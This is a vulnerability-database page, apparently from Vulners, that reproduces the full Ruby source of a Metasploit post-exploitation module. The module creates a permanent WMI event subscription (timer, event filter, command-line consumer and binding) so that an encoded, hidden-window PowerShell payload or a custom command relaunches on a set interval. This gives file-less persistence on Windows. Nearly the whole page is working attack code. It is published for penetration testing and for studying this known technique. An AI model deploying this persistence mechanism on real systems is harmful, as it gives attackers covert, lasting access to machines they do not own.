Lucene search
+L

WMI Event Subscription Interval Persistence

🗓️ 06 Jun 2017 00:00:00Reported by Nick Tyrer <@NickTyrer>, h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 445 Views

Creates a permanent WMI event subscription for file-less persistence triggering payloads on interval with optional custom command.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::Windows::Powershell
  include Msf::Exploit::Powershell
  include Post::Windows::Priv
  include Msf::Post::File
  include Msf::Exploit::Local::Persistence
  include Msf::Exploit::Deprecated
  moved_from 'exploits/windows/local/wmi_persistence' # previously the "INTERVAL" wmi_persistence method

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WMI Event Subscription Interval Persistence',
        'Description' => %q{
          This module will create a permanent WMI event subscription to achieve file-less persistence using an event filter
          that triggers the payload after the specified CALLBACK_INTERVAL.

          If the persistence is not installed, it will keep triggering payloads to spawn.

          Additionally a custom command can be specified to run once the trigger is
          activated using the advanced option CustomPsCommand. This module requires administrator level privileges as well as a
          high integrity process. It is also recommended to use staged payloads due to powershell script length limitations.
        },
        'Author' => [
          'Nick Tyrer <@NickTyrer>', # original module
          'h00die' # docs, persistence mixin, pshell cleanup
        ],
        'License' => MSF_LICENSE,
        'Privileged' => true,
        'Platform' => 'win',
        'SessionTypes' => ['meterpreter'],
        'Targets' => [['Windows', {}]],
        'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
        'DisclosureDate' => '2017-06-06',
        'DefaultTarget' => 0,
        'References' => [
          ['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'],
          ['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/'],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1546_003_WINDOWS_MANAGEMENT_INSTRUMENTATION_EVENT_SUBSCRIPTION]
        ],
        'Notes' => {
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptInt.new('CALLBACK_INTERVAL',
                 [true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 30.minutes.to_i * 1000 ]), # 30 minutes
      OptString.new('CLASSNAME',
                    [true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ])
    ])

    register_advanced_options(
      [
        OptString.new('CustomPsCommand',
                      [false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be enclosed in quotes)', false, ]),
      ]
    )

    deregister_options('WritableDir')
  end

  def check
    return CheckCode::Safe('This module requires powershell to run') unless have_powershell?

    return CheckCode::Safe('This module requires admin privs to run') unless is_admin?

    return CheckCode::Safe('This module cannot run as System') if is_system?

    return CheckCode::Safe('This module requires UAC to be bypassed first') unless is_high_integrity?

    CheckCode::Appears('Likely exploitable')
  end

  def format_duration(ms)
    total_seconds = ms / 1000
    hours = total_seconds / 3600
    minutes = (total_seconds % 3600) / 60
    seconds = total_seconds % 60

    parts = []
    parts << "#{hours}h" if hours > 0
    parts << "#{minutes}m" if minutes > 0
    parts << "#{seconds}s" if seconds > 0 || parts.empty?

    parts.join(' ')
  end

  def install_persistence
    print_status('Installing Persistence...')
    psh_exec(subscription_interval)
    print_good "Persistence installed! Callback should be in: #{format_duration(datastore['CALLBACK_INTERVAL'])}"
    # wmic will be removed Windows 11, version 25H2 or Windows 11, version 24H2 in favor of powershell
    # source https://support.microsoft.com/en-us/topic/windows-management-instrumentation-command-line-wmic-removal-from-windows-e9e83c7f-4992-477f-ba1d-96f694b8665d
    # @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
    # @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
    # @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
    name_class = datastore['CLASSNAME']
    @clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName __EventFilter | Where-Object { $_.Name -eq '#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_  }\\\""\n)
    @clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer | Where-Object { $_.Name -eq '#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_  }\\\""\n)
    @clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_  }\\\""\n)
  end

  def build_payload
    if datastore['CustomPsCommand']
      script_in = datastore['CustomPsCommand']
      compressed_script = compress_script(script_in)
      encoded_script = encode_script(compressed_script)
      generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script)
    else
      cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
    end
  end

  def subscription_interval
    command = build_payload
    class_name = datastore['CLASSNAME']
    callback_interval = datastore['CALLBACK_INTERVAL']
    <<-HEREDOC
    $timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"}
    $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'}
    $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
    HEREDOC
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation